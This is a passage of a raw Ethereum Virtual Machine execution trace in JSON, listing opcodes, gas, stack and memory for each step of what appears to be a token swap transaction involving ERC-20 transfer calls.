00000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":628,"op":"JUMPDEST","gas":18149,"gasCost":1,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":629,"op":"STOP","gas":18148,"gasCost":0,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3200000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12590,"op":"ISZERO","gas":19351,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12591,"op":"DUP1","gas":19348,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12592,"op":"ISZERO","gas":19345,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12593,"op":"PUSH2","gas":19342,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12596,"op":"JUMPI","gas":19339,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0","0x1","0x313e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12606,"op":"JUMPDEST","gas":19329,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12607,"op":"POP","gas":19328,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12608,"op":"POP","gas":19326,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a","0x408"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12609,"op":"POP","gas":19324,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12610,"op":"POP","gas":19322,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":12611,"op":"POP","gas":19320,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000"